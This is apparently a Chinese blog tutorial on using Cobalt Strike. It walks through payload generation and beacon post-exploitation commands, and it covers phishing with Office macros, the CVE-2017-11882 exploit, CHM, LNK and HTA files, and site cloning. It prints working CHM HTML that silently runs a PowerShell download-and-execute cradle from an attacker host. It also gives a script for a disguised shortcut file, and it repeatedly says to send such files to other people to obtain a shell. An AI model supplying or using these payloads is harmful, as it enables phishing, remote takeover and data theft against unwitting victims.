【下列实验有一个前提就是对方要能ping通你搭的服务器。】
Cobalt Strike简介:
- Cobalt Strike是一款渗透测试软件,分为客户端与服务端,服务端是一个,客户端可以有多个,可以进行团队分布式操作
- Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
Cobalt Strike的安装
Ubuntu 默认只有openjdk的源,但是cobalt strike建议使用oracle jdk需要需要先加入源。
- apt-get install software-properties-common python-software-propertie
- add-apt-repository ppa:webupd8team/java
- apt-get update
- apt-get install oracle-Java8-installer
安装成功:
下载好Cobalt Strike工具然后解压缩
进入Cobalt Strike文件内部开启服务
sudo ./teamserver 10.60.17.46 123456
后面这两个数是服务器IP(ubuntu的IP和密码)
配置客户端
客户端需要安装java环境,平台并无特殊要求。
- Ubuntu:java-jar cobalt strike
- windows直接双击启动
在windows下双击cobaltstrike.jar
host:服务器主机
port:50050
user:自定
password:服务器设置的
客户端主界面
使用
首先配置监听器:
点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add
name:为监听器名字。
选择payload类型
host为shell反弹接受主机(服务端IP)
port为反弹端口
其实,监听器的作用很简单,主要是为了接受payload回传的各类数据 比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的
beacon 为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多- foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器
生成payload:
点击attacks——>packages——>windows executable
listener为监听器名字
output为输出靶机类型。
点击generate弹出的对话框中选择保存位置和输入payload名字。
在windows靶机中双击payload生成文件(artifact.exe)
得到反弹shell
主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。
修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定
右键弹出的内容下拉菜单中选择Interact,上线主机。
Office钓鱼
office钓鱼在无需交互、用户无感知的情况下,执行Office文档中内嵌的一段恶意代码,从远控地址中下载并运行恶意可执行程序,例如远控木马或者勒索病毒等。
Cobalt Strike office钓鱼主要方法是生成一段vba代码,然后将代码复制到office套件中,当用户启动office自动运行
具体操作:
点击Cobalt Strike主界面中attacks->packages->ms office macro
弹出界面选择Listener,单机确定
对话框中给出每一步仔细操作,单机copy macro按钮
word操作
- 点击上方标签视图标签
- 在该标签中点击宏按钮,弹出的对话框中输入宏名字,然后单机创建按钮
- 首先清空所有代码,然后将复制的代码粘贴到编辑器中,关闭宏编辑窗口
- 保存退出
- 双击再次运行保存的文档
当目标机器运行文档以后,Cobalt Strike会接受到目标机器反弹的shell
目标则会增加一个rundll32.exe的进程
CVE-2017-11882漏洞简介
- 漏洞为0ffice内存破坏漏洞,影响目前流行的所有0ffice版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
- 该漏洞出现在模块EQNEDT32.EXE中,属于栈溢出漏洞,是对Equation Native 数据结构处理不当导致。
漏洞影响
- Microsoft Office 2007
- Microsoft Office 2010
- Microsoft Office 2013
- Microsoft Office 2016
复现:
下载https://github.com/Ridter/CVE-2017-11882python攻击脚本。
虽然是栈溢出漏洞,但是该漏洞对于命令有限制,分为可以执行43b和执行109b,所以在利用过程需要注意命令长度。
python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe"
CHM钓鱼
CHM介绍
- CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
- 利用CHM钓鱼主要原因是因为该文档可以执行cmd命令
这里制作CHM需要用到一个工具就是 EasyCHM
CHM制作过程:
创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。
先将下列代码复制到根文件夹中的index.html中。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
打开我们的EasyCHM工具
后点击新建
然后导入自己创建的文件夹,点击确定后再点击编译,在弹出的对话框中点击生成CHM按钮
它会给你生产一个CHM文件,给别人发过去,一旦点击就会给弹出计算机
生产钓鱼文件
启动Cobalt Strike,点击attacks——>web Drive by——>scripted web Delivery在弹出的对话框中将type类型设置为powershell然后单击launch按钮
再用代码将上面创建的根文件夹中的index.html代码中的calc.exe替换掉。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.209.151:81/aa'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
生产CHM发送给别人,点击后获得反弹的shell
LNK钓鱼
lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。
先做个简单的powershell生产图标:
创建个txt文本写入下面代码然后改文件后缀名为.ps1。
cmd /c calc.exe
右键文件powershell运行后会弹出计算器
钓鱼方法:
首先通过Cobalt Strike的attacks——>web Drive by——>scripted web Delivery
tpye类型为powershell,然后单机launch。生产代码。
还记的上面做的那个简单的powershell么,后缀改回txt,将生成的代码替换掉calc.exe
将下面的powershell代码写入.ps1文件,右键运行powershell。
$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
生成test.lnk文件,而且图标改了(powershell执行文件要和test.txt要在一个目录下,这个图标所在位置就在%SystemRoot%\System32\Shell32.dll目录下)
后将test.lnk发送给他人,获得反弹shell。
HTA钓鱼
- HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。
- HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。
- 就是一个html应用程序,双击就能运行。
Cobalt Strike,attacks——>packages——>HTML application
选择powershell然后单机generate,选择保存路径。
将生成的.hta文件发送给别人,点击后获得shell
后渗透阶段
相信你已经能拿到一个beacon的shell了。
下面是一些基本的使用命令,但是cs监听器对中文支持并不友好,会对中文产生乱码。
help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样,eg: help checkin note 给当前目录机器起个名字, eg: note beacon-shell cd 在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' eg: cd c:\\ mkdir 新建目录, eg: mkdir d:\\beacon rm 删除文件或目录, eg: rm d:\\beacon upload 上传文件到目标系统中 download 从目标系统下载指定文件,eg: download C:\\Users\\win7cn\\Desktop\\putty.exe cancel 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下 shell 在目标系统中执行指定的cmd命令, eg: shell whoami getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权 pwd 查看当前在目录系统中的路径 ls 列出当前目录下的所有文件和目录 drives 列表出目标系统的所有分区[win中叫盘符] ps 查看目标系统当前的所有的进程列表 kill 杀掉指定进程, eg: kill 4653 sleep 10 指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可 jobs 列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除 jobkill 如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, eg: jobkill 1345 clear 清除beacon内部的任务队列 checkin 强制让被控端回连一次 exit 终止当前beacon 会话 ctrl + k 清屏
有些可能会触发敏感api导致防护报警,另外进程注入,被控端可能感到非常明显的卡顿,工具也有许多不完善的地方
网站克隆
- Cobalt Strike还能够实现网站克隆
- cotalt strike能够快速复制目标网站前端页面,并且复制相识度极高
- cotalt strike同时还可以在复制的网站中插入恶意代码,如果本地浏览器带有漏洞的用户,可以直接控制目标机器。
点击attacks——>Web Drive-by——>Clone site
- Clone URL:克隆目标网站的URL(如果网站不是80端口的话域名后得跟上端口号。)
- 注意问题:URL需要添加http协议和端口(81)
- Local URL:本地克隆路径
- Local Host:本地主机IP
- Local Port:本地端口
- Attack:克隆后目标网站执行脚本,如:flash漏洞
未完待更新!